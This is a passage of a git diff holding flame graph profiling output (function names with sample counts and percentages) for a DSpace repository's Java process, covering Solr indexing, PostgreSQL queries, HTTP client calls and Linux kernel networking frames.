+org/apache/http/entity/mime/HttpStrictMultipart:::formatMultipartHeader (12 samples, 5.74%) +org/apa.. + + +org/apache/http/client/utils/URIUtils:::rewriteURI (1 samples, 0.48%) + + + +java/net/SocketInputStream:::socketRead0 (4 samples, 1.91%) +j.. + + +[libjvm.so] (1 samples, 0.48%) + + + +Interpreter (134 samples, 64.11%) +Interpreter + + +org/apache/http/impl/conn/ProxySelectorRoutePlanner:::determineProxy (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (1 samples, 0.48%) + + + +__sched_text_start (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/util/ClientUtils:::toQueryString (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::process (2 samples, 0.96%) + + + +org/postgresql/jdbc/PgStatement:::executeInternal (1 samples, 0.48%) + + + +JVM_DoPrivileged (4 samples, 1.91%) +J.. + + +[libjvm.so] (134 samples, 64.11%) +[libjvm.so] + + +import_single_range (1 samples, 0.48%) + + + +org/apache/commons/logging/LogFactory:::getFactory (3 samples, 1.44%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.48%) + + + +schedule (24 samples, 11.48%) +schedule + + +java/util/regex/Pattern$GroupTail:::match (1 samples, 0.48%) + + + +java/lang/ThreadLocal$ThreadLocalMap:::set (1 samples, 0.48%) + + + +poll_schedule_timeout.constprop.0 (1 samples, 0.48%) + + + +org/apache/http/impl/client/AbstractHttpClient:::doExecute (8 samples, 3.83%) +org/.. + + +__wake_up_sync_key (1 samples, 0.48%) + + + +org/dspace/discovery/SolrServiceImpl:::buildDocument (108 samples, 51.67%) +org/dspace/discovery/SolrServiceImpl:::buildDocument + + +[libjvm.so] (2 samples, 0.96%) + + + +org/apache/http/entity/mime/MultipartEntity:::writeTo (12 samples, 5.74%) +org/apa.. + + +ip_local_out (13 samples, 6.22%) +ip_local.. + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (1 samples, 0.48%) + + + +schedule_timeout (17 samples, 8.13%) +schedule_ti.. + + +do_futex (24 samples, 11.48%) +do_futex + + +org/apache/http/client/utils/URIBuilder:::digestURI (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/TableRowIterator:::next (1 samples, 0.48%) + + + +wait_woken (17 samples, 8.13%) +wait_woken + + +java/lang/Class:::getMethod0 (1 samples, 0.48%) + + + +org/dspace/text/filter/InitialArticleWord:::filter (1 samples, 0.48%) + + + +java/net/SocketInputStream:::read (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (9 samples, 4.31%) +org/a.. + + +__sys_sendto (19 samples, 9.09%) +__sys_sendto + + +[libjvm.so] (1 samples, 0.48%) + + + +nf_ct_seq_offset (1 samples, 0.48%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::instantiateBean (1 samples, 0.48%) + + + +org/springframework/beans/TypeConverterDelegate:::convertIfNecessary (16 samples, 7.66%) +org/spring.. + + +inet_ehashfn (1 samples, 0.48%) + + + +[libjvm.so] (2 samples, 0.96%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.48%) + + + +org/apache/http/client/protocol/RequestDefaultHeaders:::process (1 samples, 0.48%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (1 samples, 0.48%) + + + +java/lang/Class:::getConstructor0 (1 samples, 0.48%) + + + +java/net/SocketInputStream:::read (1 samples, 0.48%) + + + +__kmalloc_node_track_caller (1 samples, 0.48%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/TableRow:::resetChanged (1 samples, 0.48%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendQuery (1 samples, 0.48%) + + + +deactivate_task (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.48%) + + + +org/apache/log4j/DefaultThrowableRenderer:::render (1 samples, 0.48%) + + + +__perf_event_task_sched_in (24 samples, 11.48%) +__perf_event_task.. + + +jlong_disjoint_arraycopy (1 samples, 0.48%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (134 samples, 64.11%) +sun/reflect/DelegatingMethodAccessorImpl:::invoke + + +org/springframework/core/convert/support/GenericConversionService:::getMatchableConverters (1 samples, 0.48%) + + + +ip_output (8 samples, 3.83%) +ip_o.. + + +__poll (1 samples, 0.48%) + + + +ip_rcv (4 samples, 1.91%) +i.. + + +org/dspace/browse/BrowseIndex:::<init> (1 samples, 0.48%) + + + +java (209 samples, 100.00%) +java + + +[libjvm.so] (1 samples, 0.48%) + + + +org/apache/solr/common/SolrInputDocument:::addField (1 samples, 0.48%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::determineRoute (1 samples, 0.48%) + + + +java/lang/Throwable:::printStackTrace (1 samples, 0.48%) + + + +Interpreter (134 samples, 64.11%) +Interpreter + + +org/dspace/discovery/configuration/DiscoverySearchFilter:::getFilterType (1 samples, 0.48%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (2 samples, 0.96%) + + + +__generic_file_write_iter (1 samples, 0.48%) + + + +[libjvm.so] (134 samples, 64.11%) +[libjvm.so] + + +org/postgresql/jdbc/PgStatement:::executeInternal (2 samples, 0.96%) + + + +Interpreter (134 samples, 64.11%) +Interpreter + + +org/apache/log4j/Category:::callAppenders (1 samples, 0.48%) + + + +JVM_InternString (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getTimestamp (1 samples, 0.48%) + + + +nft_do_chain (1 samples, 0.48%) + + + +do_syscall_64 (1 samples, 0.48%) + + + +org/apache/log4j/WriterAppender:::append (5 samples, 2.39%) +o.. + + +tcp_recvmsg (19 samples, 9.09%) +tcp_recvmsg + + +org/dspace/authorize/AuthorizeManager:::getPoliciesActionFilter (2 samples, 0.96%) + + + +tick_sched_handle (1 samples, 0.48%) + + + +__poll (2 samples, 0.96%) + + + +jshort_disjoint_arraycopy (1 samples, 0.48%) + + + +[libjava.so] (1 samples, 0.48%) + + + +org/apache/http/protocol/BasicHttpContext:::getAttribute (1 samples, 0.48%) + + + +org/apache/http/impl/client/RequestWrapper:::getRequestLine (1 samples, 0.48%) + + + +__sched_text_start (24 samples, 11.48%) +__sched_text_start + + +org/apache/http/client/methods/HttpPost:::<init> (1 samples, 0.48%) + + + +org/dspace/sort/OrderFormat:::makeSortString (2 samples, 0.96%) + + + +call_stub (2 samples, 0.96%) + + + +call_stub (1 samples, 0.48%) + + + +org/dspace/app/util/DailyFileAppender:::subAppend (5 samples, 2.39%) +o.. + + +hrtimer_interrupt (1 samples, 0.48%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.96%) + + + +__x64_sys_write (1 samples, 0.48%) + + + +sun/reflect/GeneratedConstructorAccessor19:::newInstance (1 samples, 0.48%) + + + +org/apache/solr/client/solrj/request/UpdateRequest:::writeXML (7 samples, 3.35%) +org.. + + +apic_timer_interrupt (1 samples, 0.48%) + + + +tcp_sendmsg_locked (16 samples, 7.66%) +tcp_sendms.. + + + diff --git a/docs/2020/02/out.dspace58-2.svg b/docs/2020/02/out.dspace58-2.svg new file mode 100644 index 000000000..41eb96220 --- /dev/null +++ b/docs/2020/02/out.dspace58-2.svg @@ -0,0 +1,7088 @@ + + + + + + + + + + + + + + +Flame Graph + +Reset Zoom +Search +ic + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +acpi_hw_read_port (1 samples, 0.09%) + + + +refcount_inc_not_zero_checked (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::getColumnNames (1 samples, 0.09%) + + + +java/util/Arrays:::copyOf (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +java/util/LinkedList:::linkFirst (3 samples, 0.27%) + + + +skb_clone (2 samples, 0.18%) + + + +do_IRQ (1 samples, 0.09%) + + + +nf_confirm (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +org/apache/http/message/BasicHeaderValueParser:::parseElements (1 samples, 0.09%) + + + +nvme_complete_rq (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/impl/HttpSolrServer:::executeMethod (39 samples, 3.55%) +org.. + + +org/dspace/app/util/DailyFileAppender:::subAppend (10 samples, 0.91%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::clearParameters (1 samples, 0.09%) + + + +__perf_event_task_sched_in (13 samples, 1.18%) + + + +bbr_update_model (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (3 samples, 0.27%) + + + +org/apache/http/impl/conn/HttpPoolEntry:::close (1 samples, 0.09%) + + + +_itoa_word (1 samples, 0.09%) + + + +perf_pmu_disable.part.0 (1 samples, 0.09%) + + + +acpi_ev_sci_xrupt_handler (1 samples, 0.09%) + + + +__intel_pmu_enable_all.constprop.0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +sun/nio/cs/UTF_8$Decoder:::decode (1 samples, 0.09%) + + + +acpi_irq (1 samples, 0.09%) + + + +memset_erms (1 samples, 0.09%) + + + +inet6_recvmsg (44 samples, 4.01%) +inet.. + + +link_path_walk.part.0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (1 samples, 0.09%) + + + +syscall_trace_enter (1 samples, 0.09%) + + + +org/apache/http/impl/io/AbstractSessionOutputBuffer:::flushBuffer (1 samples, 0.09%) + + + +org/dspace/content/Item:::getID (1 samples, 0.09%) + + + +java/lang/reflect/Proxy:::newProxyInstance (2 samples, 0.18%) + + + +walk_component (1 samples, 0.09%) + + + +sun/reflect/DelegatingMethodAccessorImpl:::invoke (747 samples, 68.03%) +sun/reflect/DelegatingMethodAccessorImpl:::invoke + + +ip_build_and_send_pkt (1 samples, 0.09%) + + + +__ip_finish_output (1 samples, 0.09%) + + + +__libc_recv (55 samples, 5.01%) +__libc.. + + +ext4_reserve_inode_write (2 samples, 0.18%) + + + +org/apache/http/impl/client/ClientParamsStack:::getParameter (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +jshort_disjoint_arraycopy (1 samples, 0.09%) + + + +__wake_up (1 samples, 0.09%) + + + +__x86_indirect_thunk_rax (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::handleResponse (1 samples, 0.09%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +perf_event_sched_in (1 samples, 0.09%) + + + +__sched_text_start (30 samples, 2.73%) +__.. + + +dev_queue_xmit (7 samples, 0.64%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +syscall_slow_exit_work (1 samples, 0.09%) + + + +deactivate_task (11 samples, 1.00%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeWithFlags (3 samples, 0.27%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/TableRow:::getIntColumn (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +tcp_stream_memory_free (1 samples, 0.09%) + + + +generic_update_time (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/TableRow:::setColumn (1 samples, 0.09%) + + + +lookup_slow (1 samples, 0.09%) + + + +__softirqentry_text_start (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (7 samples, 0.64%) + + + +java/lang/String:::equals (1 samples, 0.09%) + + + +org/apache/http/protocol/HttpRequestExecutor:::preProcess (3 samples, 0.27%) + + + +org/springframework/core/convert/support/MapToMapConverter:::getConvertibleTypes (1 samples, 0.09%) + + + +__tcp_transmit_skb (144 samples, 13.11%) +__tcp_transmit_skb + + +[libjvm.so] (2 samples, 0.18%) + + + +sched_clock_cpu (1 samples, 0.09%) + + + +org/dspace/discovery/SolrServiceResourceRestrictionPlugin:::additionalIndex (5 samples, 0.46%) + + + +Java_java_net_SocketOutputStream_socketWrite0 (2 samples, 0.18%) + + + +org/apache/commons/dbcp/PoolablePreparedStatement:::close (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +perf_event_task_tick (1 samples, 0.09%) + + + +ip_local_out (1 samples, 0.09%) + + + +do_IRQ (1 samples, 0.09%) + + + +org/apache/http/entity/AbstractHttpEntity:::getContentType (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (2 samples, 0.18%) + + + +java/util/ArrayList$Itr:::next (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingConnection$PStmtKey:::hashCode (1 samples, 0.09%) + + + +new_sync_write (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::execute (5 samples, 0.46%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +ipv4_conntrack_local (1 samples, 0.09%) + + + +futex_wait (61 samples, 5.56%) +futex_w.. + + +clone_endio (1 samples, 0.09%) + + + +__entry_text_start (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/http/impl/DefaultConnectionReuseStrategy:::keepAlive (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (1 samples, 0.09%) + + + +update_process_times (1 samples, 0.09%) + + + +autoremove_wake_function (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +java/util/regex/Pattern$CharProperty:::study (2 samples, 0.18%) + + + +__ext4_get_inode_loc (1 samples, 0.09%) + + + +ip_queue_xmit (1 samples, 0.09%) + + + +tcp_connect (1 samples, 0.09%) + + + +perf_event_sched_in (1 samples, 0.09%) + + + +Java_java_io_FileOutputStream_writeBytes (3 samples, 0.27%) + + + +ip_local_deliver (62 samples, 5.65%) +ip_loca.. + + +java/util/regex/Pattern$CharProperty:::match (1 samples, 0.09%) + + + +__hrtimer_run_queues (1 samples, 0.09%) + + + +generic_write_end (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +[libjvm.so] (13 samples, 1.18%) + + + +do_filp_open (1 samples, 0.09%) + + + +java/util/regex/Pattern$5:::isSatisfiedBy (1 samples, 0.09%) + + + +java/net/PlainSocketImpl:::socketSetOption0 (1 samples, 0.09%) + + + +java/util/regex/Pattern$Ques:::study (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (4 samples, 0.36%) + + + +org/springframework/core/GenericTypeResolver:::doResolveTypeArguments (12 samples, 1.09%) + + + +schedule (1 samples, 0.09%) + + + +bio_endio (1 samples, 0.09%) + + + +__tcp_transmit_skb (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::find (17 samples, 1.55%) + + + +activate_task (12 samples, 1.09%) + + + +lock_sock_nested (1 samples, 0.09%) + + + +java/text/SimpleDateFormat:::format (2 samples, 0.18%) + + + +JVM_InternString (5 samples, 0.46%) + + + +rcu_core (1 samples, 0.09%) + + + +nf_conntrack_in (6 samples, 0.55%) + + + +inet_shutdown (1 samples, 0.09%) + + + +irqtime_account_irq (1 samples, 0.09%) + + + +swapgs_restore_regs_and_return_to_usermode (1 samples, 0.09%) + + + +org/apache/http/impl/client/EntityEnclosingRequestWrapper$EntityWrapper:::writeTo (3 samples, 0.27%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (7 samples, 0.64%) + + + +org/apache/http/impl/conn/DefaultClientConnection:::close (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (61 samples, 5.56%) +entry_S.. + + +finish_task_switch (1 samples, 0.09%) + + + +java/util/concurrent/ConcurrentHashMap:::putVal (1 samples, 0.09%) + + + +org/dspace/browse/BrowseIndex:::getTableName (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +__ip_queue_xmit (1 samples, 0.09%) + + + +__list_del_entry_valid (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +schedule (30 samples, 2.73%) +sc.. + + +rcu_core_si (1 samples, 0.09%) + + + +java/lang/StringCoding:::encode (1 samples, 0.09%) + + + +ksys_write (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +ctx_sched_in (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/AbstractBeanFactory:::doGetBean (40 samples, 3.64%) +org/.. + + +sk_forced_mem_schedule (1 samples, 0.09%) + + + +do_syscall_64 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +[libjvm.so] (3 samples, 0.27%) + + + +do_syscall_64 (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +org/apache/http/impl/io/SocketInputBuffer:::isDataAvailable (21 samples, 1.91%) +o.. + + +tcp_rcv_established (1 samples, 0.09%) + + + +java/util/regex/Pattern$Begin:::match (1 samples, 0.09%) + + + +jbyte_disjoint_arraycopy (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +nf_nat_packet (1 samples, 0.09%) + + + +__kfree_skb (2 samples, 0.18%) + + + +java/lang/String:::hashCode (1 samples, 0.09%) + + + +sock_sendmsg (187 samples, 17.03%) +sock_sendmsg + + +call_stub (7 samples, 0.64%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +java/lang/String:::intern (6 samples, 0.55%) + + + +java/util/concurrent/ConcurrentHashMap:::transfer (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +Java_java_net_SocketInputStream_socketRead0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +__intel_pmu_disable_all (1 samples, 0.09%) + + + +do_syscall_64 (205 samples, 18.67%) +do_syscall_64 + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (8 samples, 0.73%) + + + +java/lang/StringCoding:::decode (2 samples, 0.18%) + + + +hrtimer_interrupt (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::tryExecute (9 samples, 0.82%) + + + +jshort_arraycopy (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +tcp_v6_conn_request (1 samples, 0.09%) + + + +__entry_text_start (1 samples, 0.09%) + + + +java/net/SocketTimeoutException:::<init> (7 samples, 0.64%) + + + +sockfd_lookup_light (4 samples, 0.36%) + + + +[libjvm.so] (5 samples, 0.46%) + + + +__x64_sys_poll (6 samples, 0.55%) + + + +ret_from_intr (1 samples, 0.09%) + + + +sun/reflect/NativeMethodAccessorImpl:::invoke (747 samples, 68.03%) +sun/reflect/NativeMethodAccessorImpl:::invoke + + +x86_pmu_disable (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::wasNull (1 samples, 0.09%) + + + +__ip_finish_output (108 samples, 9.84%) +__ip_finish_ou.. + + +switch_fpu_return (3 samples, 0.27%) + + + +itable stub (1 samples, 0.09%) + + + +org/apache/http/impl/client/AbstractHttpClient:::getBackoffManager (1 samples, 0.09%) + + + +org/postgresql/jdbc2/AbstractJdbc2Statement:::executeQuery (4 samples, 0.36%) + + + +select_task_rq_fair (3 samples, 0.27%) + + + +org/apache/http/protocol/HttpRequestExecutor:::doReceiveResponse (8 samples, 0.73%) + + + +JVM_GetDeclaringClass (1 samples, 0.09%) + + + +jlong_disjoint_arraycopy (1 samples, 0.09%) + + + +__vfs_write (2 samples, 0.18%) + + + +org/apache/http/impl/conn/ManagedClientConnectionImpl:::sendRequestEntity (3 samples, 0.27%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +org/apache/solr/common/util/JavaBinCodec:::readVal (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingStatement:::close (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (3 samples, 0.27%) + + + +Java_java_net_SocketInputStream_socketRead0 (2 samples, 0.18%) + + + +__vfs_write (1 samples, 0.09%) + + + +java/util/regex/Pattern$Curly:::match0 (2 samples, 0.18%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +schedule (1 samples, 0.09%) + + + +Interpreter (745 samples, 67.85%) +Interpreter + + +java/util/regex/Pattern$Curly:::match (3 samples, 0.27%) + + + +ext4_mark_iloc_dirty (1 samples, 0.09%) + + + +exit_to_usermode_loop (1 samples, 0.09%) + + + +update_load_avg (1 samples, 0.09%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +sk_page_frag_refill (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/DefaultSingletonBeanRegistry:::getSingletonNames (1 samples, 0.09%) + + + +org/apache/commons/dbcp/PoolingDataSource$PoolGuardConnectionWrapper:::prepareStatement (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/TableRowIterator:::hasNext (3 samples, 0.27%) + + + +_copy_from_iter_full (2 samples, 0.18%) + + + +org/apache/http/client/protocol/RequestDefaultHeaders:::process (1 samples, 0.09%) + + + +account_entity_enqueue (2 samples, 0.18%) + + + +enqueue_entity (2 samples, 0.18%) + + + +java/util/regex/Pattern$BmpCharProperty:::match (3 samples, 0.27%) + + + +java/util/regex/Pattern:::sequence (6 samples, 0.55%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +java/util/Calendar:::<init> (1 samples, 0.09%) + + + +blk_mq_end_request (1 samples, 0.09%) + + + +__fsnotify_parent (1 samples, 0.09%) + + + +inet6_recvmsg (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (2 samples, 0.18%) + + + +psi_task_change (7 samples, 0.64%) + + + +apic_timer_interrupt (1 samples, 0.09%) + + + +ttwu_do_activate (14 samples, 1.28%) + + + +ipv4_conntrack_defrag (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (2 samples, 0.18%) + + + +org/dspace/core/Context:::cache (1 samples, 0.09%) + + + +java/lang/String:::toLowerCase (1 samples, 0.09%) + + + +org/apache/http/entity/mime/Header:::addField (12 samples, 1.09%) + + + +__hrtimer_run_queues (1 samples, 0.09%) + + + +JNU_ThrowByName (7 samples, 0.64%) + + + +__wake_up_common_lock (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/request/UpdateRequest:::writeXML (49 samples, 4.46%) +org/a.. + + +rcu_gp_kthread_wake (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingResultSet:::getInt (1 samples, 0.09%) + + + +ip_rcv (1 samples, 0.09%) + + + +tcp_event_data_recv (1 samples, 0.09%) + + + +psi_task_change (1 samples, 0.09%) + + + +nf_hook_slow (1 samples, 0.09%) + + + +java/lang/AbstractStringBuilder:::append (1 samples, 0.09%) + + + +org/apache/http/protocol/BasicHttpContext:::setAttribute (1 samples, 0.09%) + + + +org/dspace/sort/OrderFormat:::makeSortString (4 samples, 0.36%) + + + +[libjvm.so] (4 samples, 0.36%) + + + +sk_filter_trim_cap (2 samples, 0.18%) + + + +[libjvm.so] (1 samples, 0.09%) + + + +sun/reflect/NativeMethodAccessorImpl:::invoke0 (747 samples, 68.03%) +sun/reflect/NativeMethodAccessorImpl:::invoke0 + + +java/lang/String:::equals (1 samples, 0.09%) + + + +java/util/regex/Pattern$LastNode:::match (1 samples, 0.09%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::populateBean (2 samples, 0.18%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +tcp_rcv_state_process (1 samples, 0.09%) + + + +[libjvm.so] (747 samples, 68.03%) +[libjvm.so] + + +[libjvm.so] (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (3 samples, 0.27%) + + + +org/apache/http/entity/mime/content/StringBody:::<init> (6 samples, 0.55%) + + + +java/net/SocketOutputStream:::socketWrite0 (1 samples, 0.09%) + + + +_register_finalizer_Java (2 samples, 0.18%) + + + +scheduler_tick (1 samples, 0.09%) + + + +__wake_up_common (21 samples, 1.91%) +_.. + + +handle_irq_event (1 samples, 0.09%) + + + +[libjvm.so] (7 samples, 0.64%) + + + +_IO_default_xsputn (1 samples, 0.09%) + + + +org/apache/solr/client/solrj/request/RequestWriter$LazyContentStream:::getStream (7 samples, 0.64%) + + + +java/util/regex/Pattern$5:::isSatisfiedBy (2 samples, 0.18%) + + + +__wake_up_bit (1 samples, 0.09%) + + + +JVM_InvokeMethod (747 samples, 68.03%) +JVM_InvokeMethod + + +release_sock (1 samples, 0.09%) + + + +__tcp_send_ack.part.0 (1 samples, 0.09%) + + + +java/util/regex/Pattern$CharProperty:::study (3 samples, 0.27%) + + + +hrtimer_interrupt (1 samples, 0.09%) + + + +schedule_hrtimeout_range_clock (6 samples, 0.55%) + + + +nft_lookup_eval (1 samples, 0.09%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::processResults (1 samples, 0.09%) + + + +acpi_os_read_port (1 samples, 0.09%) + + + +pick_next_task_fair (1 samples, 0.09%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::execute (38 samples, 3.46%) +org.. + + +ip_local_out (1 samples, 0.09%) + + + +tcp_push (1 samples, 0.09%) + + + +__ip_queue_xmit (1 samples, 0.09%) + + + +smp_apic_timer_interrupt (1 samples, 0.09%) + + + +do_sys_poll (3 samples, 0.27%) + + + +wake_bit_function (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (4 samples, 0.36%) + + + +[libjvm.so] (5 samples, 0.46%) + + + +finish_task_switch (61 samples, 5.56%) +finish_.. + + +org/dspace/browse/BrowseIndex:::generateMdBits (2 samples, 0.18%) + + + +org/apache/log4j/helpers/AppenderAttachableImpl:::appendLoopOnAppenders (10 samples, 0.91%) + + + +iptable_mangle_hook (1 samples, 0.09%) + + + +org/apache/http/impl/client/DefaultRequestDirector:::handleResponse (1 samples, 0.09%) + + + +java/util/regex/Pattern$Branch:::match (2 samples, 0.18%) + + + +org/dspace/storage/rdbms/TableRow:::getBooleanColumn (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::queryTable (5 samples, 0.46%) + + + +org/postgresql/core/v3/QueryExecutorImpl:::sendOneQuery (1 samples, 0.09%) + + + +java/util/regex/Pattern$5:::isSatisfiedBy (2 samples, 0.18%) + + + +record_times (1 samples, 0.09%) + + + +tick_sched_handle (1 samples, 0.09%) + + + +sk_wait_data (32 samples, 2.91%) +sk.. + + +org/apache/http/entity/HttpEntityWrapper:::isChunked (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (3 samples, 0.27%) + + + +remove_wait_queue (1 samples, 0.09%) + + + +org/springframework/beans/support/ResourceEditorRegistrar:::registerCustomEditors (2 samples, 0.18%) + + + +kmem_cache_alloc_node (1 samples, 0.09%) + + + +org/apache/commons/dbcp/DelegatingPreparedStatement:::executeQuery (2 samples, 0.18%) + + + +org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory:::predictBeanType (22 samples, 2.00%) +o.. + + +ret_from_intr (1 samples, 0.09%) + + + +fput_many (1 samples, 0.09%) + + + +ip_rcv (1 samples, 0.09%) + + + +tcp_v6_connect (1 samples, 0.09%) + + + +java/net/SocketInputStream:::read (1 samples, 0.09%) + + + +org/dspace/core/Context:::<init> (7 samples, 0.64%) + + + +acpi_hw_read (1 samples, 0.09%) + + + +ip_local_out (1 samples, 0.09%) + + + +org/dspace/storage/rdbms/DatabaseManager:::loadParameters (1 samples, 0.09%) + + + +org/apache/commons/pool/impl/GenericKeyedObjectPool:::borrowObject (1 samples, 0.09%) + + + +org/postgresql/core/PGStream:::ReceiveTupleV3 (1 samples, 0.09%) + + + +__libc_connect (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +java/util/regex/Pattern$GroupHead:::match (1 samples, 0.09%) + + + +intel_tfa_pmu_enable_all (12 samples, 1.09%) + + + +exit_to_usermode_loop (1 samples, 0.09%) + + + +java/net/SocketInputStream:::socketRead0 (1 samples, 0.09%) + + + +__wake_up_sync_key (22 samples, 2.00%) +_.. + + +[libjvm.so] (8 samples, 0.73%) + + + +java/util/regex/Pattern$Node:::study (4 samples, 0.36%) + + + +__skb_datagram_iter (1 samples, 0.09%) + + + +java/util/HashSet:::contains (1 samples, 0.09%) + + + +finish_task_switch (1 samples, 0.09%) + + + +Interpreter (1 samples, 0.09%) + + + +intel_tfa_pmu_enable_all (60 samples, 5.46%) +intel_t.. + + +run_rebalance_domains (1 